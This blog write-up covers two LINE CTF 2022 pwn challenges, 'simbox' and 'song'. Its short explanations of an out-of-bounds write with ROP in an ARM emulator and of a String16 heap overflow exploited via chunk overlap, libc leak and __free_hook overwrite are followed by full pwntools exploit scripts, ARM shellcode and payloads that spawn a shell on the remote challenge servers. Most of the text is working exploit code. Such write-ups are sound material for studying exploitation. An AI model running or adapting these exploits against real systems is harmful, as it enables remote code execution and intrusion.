7 min read

[EN] 2022 linectf writeup

Table of Contents

Played as a donkey :)

simbox

First, there is no parameter index check in simbox’s parse_url function, so oob write is possible.

Binary is emulated in arm-run. In emulating, the permission setting of each segment is ignored. That is, writing is possible in the code segment, etc.

The first thing to do is to overwrite the stack via oob and do a ROP. Call the read function via ROP, overwriting arbitrary code regions with shellcode.

After that, it’s a bypass of the filtering added to the ReadFileName function, but…

  while ( 1 )
  {
    v9 = v6 + v7++;
    Byte = ARMul_SafeReadByte(state, v9);
    *(v7 - 1) = Byte;
    if ( !Byte )
      break;
    if ( v7 == v5 )
    {
      *OSptr = cb_host_to_target_errno(sim_callback, 36);
      result = 0xFFFFFFFFLL;
      state->Reg[0] = -1;
      return result;
    }
  }
  if ( strstr(buf, "flag") || (v12 = strstr(buf, "simbox"), result = 0LL, v12) )
  {
    *OSptr = cb_host_to_target_errno(sim_callback, 36);
    result = 0LL;
    state->Reg[0] = -1;
  }

Since result is not set to -1, ReadFileName is treated as a normal termination. That means the filtering doesn’t work.

So just read the flags.

from pwn import *

p = remote('35.243.120.147', 10007)
#p = process(['./arm-run','./simbox'])

pay = 'http://a.com/qwer?'
for i in range(73):
  pay += 'list=&'

pay += 'list=79&'

mov_r1_r5_pop_r4_r5_pc = 0x00012e38
pop_r0_pc = 0x000135f0
svc_pop_r4_r5_pc = 0x9E60

rop = [
  pop_r0_pc, 
  0,
  0x6, # r0 => read
  mov_r1_r5_pop_r4_r5_pc,
  0, # r4
  0x24424, # r5
  mov_r1_r5_pop_r4_r5_pc, # r1 = r5
  0, # r4
  0, # r5
  svc_pop_r4_r5_pc, # read,
  0,
  0,
  0x120B0
] 
for r in rop:
  pay += 'list=' + str(r) + '&'

print(pay)
pause()
p.sendafter('> \n', pay)
#p.send(pay)
context.log_level='debug'

code = '''
mov r0, 0
mov r1, 0x10000
mov r2, 0x20
svc 0x6a

mov r0, 0x10000
mov r1, 0
svc 0x66

mov r0, 3
mov r1, 0x10000
mov r2, 0x600
svc 0x6a

mov r0, 1
mov r1, 0x10000
mov r2, 0x600
svc 0x69

svc 0x11
'''

code = "\x00\x00\xa0\xe3\x01\x18\xa0\xe3\x20\x20\xa0\xe3\x6a\x00\x00\xef\x01\x08\xa0\xe3\x00\x10\xa0\xe3\x66\x00\x00\xef\x03\x00\xa0\xe3\x01\x18\xa0\xe3\x06\x2c\xa0\xe3\x6a\x00\x00\xef\x01\x00\xa0\xe3\x01\x18\xa0\xe3\x06\x2c\xa0\xe3\x69\x00\x00\xef\x11\x00\x00\xef"

#p.recvuntil('pc: 9e60, instr: ef123456')
p.recvuntil('parameter[91]:')
p.recvline()
p.send(code)
pause()
p.send('/home/simbox/flag\x00')


p.interactive()

song

The crash was found through honggfuzz.

Crash points out the vulnerability here.

else if (encoding == 0x02) {
  int len = n / 2;
  const char16_t *framedata = (const char16_t *)(frameData + 1);
  char16_t *framedatacopy = NULL;
  if (len > 0) {
    framedatacopy = new (std::nothrow) char16_t[len];
    if (framedatacopy == NULL) {
      return false;
    }
    for (int i = 0; i < len; i++) {
      framedatacopy[i] = bswap_16(framedata[i]);
    }
    framedata = framedatacopy;
  }
  featuring->setTo(framedata, len);
  if (framedatacopy != NULL) {
    delete[] framedatacopy;
  }
}

But vulnerabilities are not immediately visible. So I started digging into String8.cpp, String16.cpp.

and… i found 1-day. https://bugs.chromium.org/p/project-zero/issues/detail?id=840

Now that you’ve got a heap overflow of any size, heap tricks’ turn.

Proceeds with chunk-overlapping through overflow.

We can put it in unsorted bin up to the ALBUM area by overlapping.

After that, Reduce the size of the unsorted bin by alloc 0x5a0. Through this operation, the main_arena address is written in the ALBUM area, so it is possible to libc leak.

If you’ve even done libc leak, it’s simple after that. Write a value to fd of tcache that has been freed through heap overflow, and get a arbitrary address write :)

brute-forcing free_hook and system addresses until utf8 valid (all address bytes <= 80).

The exploit is not optimized. Sorry :(

from pwn import *
import random


libc = ELF('./libc-2.31.so')#ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context.log_level='error'
def overflow(payload, length):
  return b'\xd8\x41\xd8\x41\xdc\x41'*length + payload

def a(a1):
  return ((0xE5000000 >> ((a1 >> 3) & 0x1E)) & 3) + 1

def utf16(string, b=0):
  r = b''
  if b == 0:
    for i in string:
      r += b'\x00' + bytes([ord(i)])
    return r
  else:
    '''
    for i in string:
      if i <= 0x7f:
        r += b'\x00' + bytes([i])
      elif 0x80 <= i <= 0xbf:
        r += b'\xc2' + bytes([i])
      elif 0xc0 <= i:
        r += b'\xc3' + bytes([i])
    
    k = process('./src/a')
    k.send(string)
    r = k.recvline()[:-1]
    print(hexdump(r))
    k.close()
    d = b''
    for i in range(0, len(r), 2):
      d += r[i:i+2][::-1]
    return d
    '''
    for i in string:
      r += b'\x00' + bytes([i])
    return r
cnt = 0
while True:
  try:
    print(cnt)
    cnt += 1
    p = remote('34.146.137.124', 10008)
    #p = process('./song')

    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(1) + p8(0) + b'a' + b'</TITLE>' 
    pay += b'<SINGER>' + p16(1) + p8(0xf) + b'b' + b'</SINGER>' 
    pay += b'<ALBUM>' + p16(1) + p8(0) + b'c' + b'</ALBUM>'
    pay += b'<FEATURING>' + p16(1) + p8(0xf) + b'd' + b'</FEATURING>' 
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))

    p.send(pay)
    p.recvuntil('featuring:')
    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(0x80 - 8 - 1) + p8(0) + b'c2w2m2!@' + b'a'*(0x80 - 8 - 1 - 8) + b'</TITLE>' 
    pay += b'<SINGER>' + p16(0x500 - 8) + p8(0) + b'c3w3m3!@'+b'b'*(0x500-8-8) + b'</SINGER>' 
    pay += b'<ALBUM>' + p16(0x80 - 8 - 1) + p8(0) + b'c4w4m4!@'+b'c'*(0x80 - 8 - 1-8 -7) + b'\x30\x06\x00\x00\x00\x00\x00' + b'</ALBUM>' 
    pay += b'<FEATURING>' + p16(0x60) + p8(0) + b'd'*0x60 + b'</FEATURING>'
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))

    p.send(pay)
    p.recvuntil('featuring:')

    payload = utf16('a') * (0x78 - 1 - 0x18 - 24 - 8 - 8)  + utf16('\x00') * 7 + utf16('\x00\x31\x06\x00\x00\x00\x00\x00\x00') + utf16('f') * 7 + utf16('\x00') * 8 + utf16('\x00')*8
    l = 0x150
    d = b'\x00\x00' + overflow(payload, l) 

    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(1) + p8(0) + b'a' + b'</TITLE>' 
    pay += b'<SINGER>' + p16(len(d)) + p8(2) + d + b'</SINGER>' 
    pay += b'<ALBUM>' + p16(1) + p8(0xf) + b'b' + b'</ALBUM>'
    pay += b'<FEATURING>' + p16(0x5a0 - 1 - 0x18) + p8(0) + b'd'*(0x5a0 - 1 - 0x18) + b'</FEATURING>'
    pay += b'</TAG>'
    pay += b'\x00' * (0x10000 - len(pay))

    p.send(pay)

    p.recvuntil('album: ')
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libcbase = leak - 0x1ebc50 - 0x1000
    log.info('[LIBC] 0x%x' % libcbase)
    print('0x%x' % (libcbase + libc.symbols['__free_hook']))
    print('0x%x' % (libcbase + 0x51D00))

    r = p64(libcbase + libc.symbols['__free_hook'] - 0x18)
    for i in r:
      if i >= 0x80:
        raise ValueError
    r = p64(libcbase + 0x51D00)
    for i in r:
      if i >= 0x80:
        raise ValueError
    k = utf16(p64(libcbase + libc.symbols['__free_hook'] - 0x18), b=1)
    payload = utf16('a') * (0x80 - 0x18 - 1 - 8 - 8 ) +utf16('b') + k
    l = 0x8
    d = overflow(payload, l)


    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(len(d)) + p8(2) + d + b'</TITLE>' 
    pay += b'<SINGER>' + p16(0x40 - 1) + p8(0) + b'b'*(0x40-1) + b'</SINGER>' 
    pay += b'<ALBUM>' + p16(0x40 -1) + p8(0) + b'a'*(0x40-1) + b'</ALBUM>'
    pay += b'<FEATURING>' + p16(0x40-1) + p8(0) + b'd'*(0x40-1) + b'</FEATURING>' 
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))
    p.send(pay)

    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(0x80) + p8(0) + b'a'*0x80 + b'</TITLE>' 
    pay += b'<SINGER>' + p16(0x80) + p8(0) + b'a'*0x80+ b'</SINGER>' 
    pay += b'<ALBUM>' + p16(0x80) + p8(0) + b'a'*0x80  + b'</ALBUM>' 
    pay += b'<FEATURING>' + p16(0x80) + p8(0) + b'a'*0x80 + b'</FEATURING>'
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))

    p.send(pay)

    payload = utf16('a') * (0x60 - 0x18 - 1 - 8 - 8 ) +utf16('b') + k
    l = 0x8
    d = overflow(payload, l) 


    pay2 = utf16(p64(libcbase + 0x51D00), b=1)
    pay2 += utf16('a') * (0x40 - 0x18 - 8)
    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(len(d)) + p8(2) + d + b'</TITLE>' 
    pay += b'<SINGER>' + p16(0x40-1) + p8(0) + b'/bin/sh;' + b'a'*(0x40-8-1)+ b'</SINGER>' 
    pay += b'<ALBUM>' + p16(len(pay2)) + p8(2) + pay2 + b'</ALBUM>'
    pay += b'<FEATURING>' + p16(0x80) + p8(0xf) +b'/bin/sh\x00'+ b'a'*0x78 + b'</FEATURING>'
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))

    p.send(pay)
    pause()

    pay = b'<TAG>'
    pay += b'<TITLE>' + p16(0x80) + p8(0xf) + b'a'*0x80 + b'</TITLE>'
    pay += b'<SINGER>' + p16(0x80) + p8(0xf) + b'a'*0x80+ b'</SINGER>' 
    pay += b'<ALBUM>' + p16(0x80) + p8(0xf) + b'a'*0x80  + b'</ALBUM>' 
    pay += b'<FEATURING>' + p16(0x80) + p8(0xf) + b'a'*0x80 + b'</FEATURING>'
    pay += b'</TAG>'

    pay += b'\x00' * (0x10000 - len(pay))
    pause()
    p.send(pay)

    context.log_level='debug'

    p.interactive()
    exit(1)
  except ValueError as e:
    print(e)
    p.close()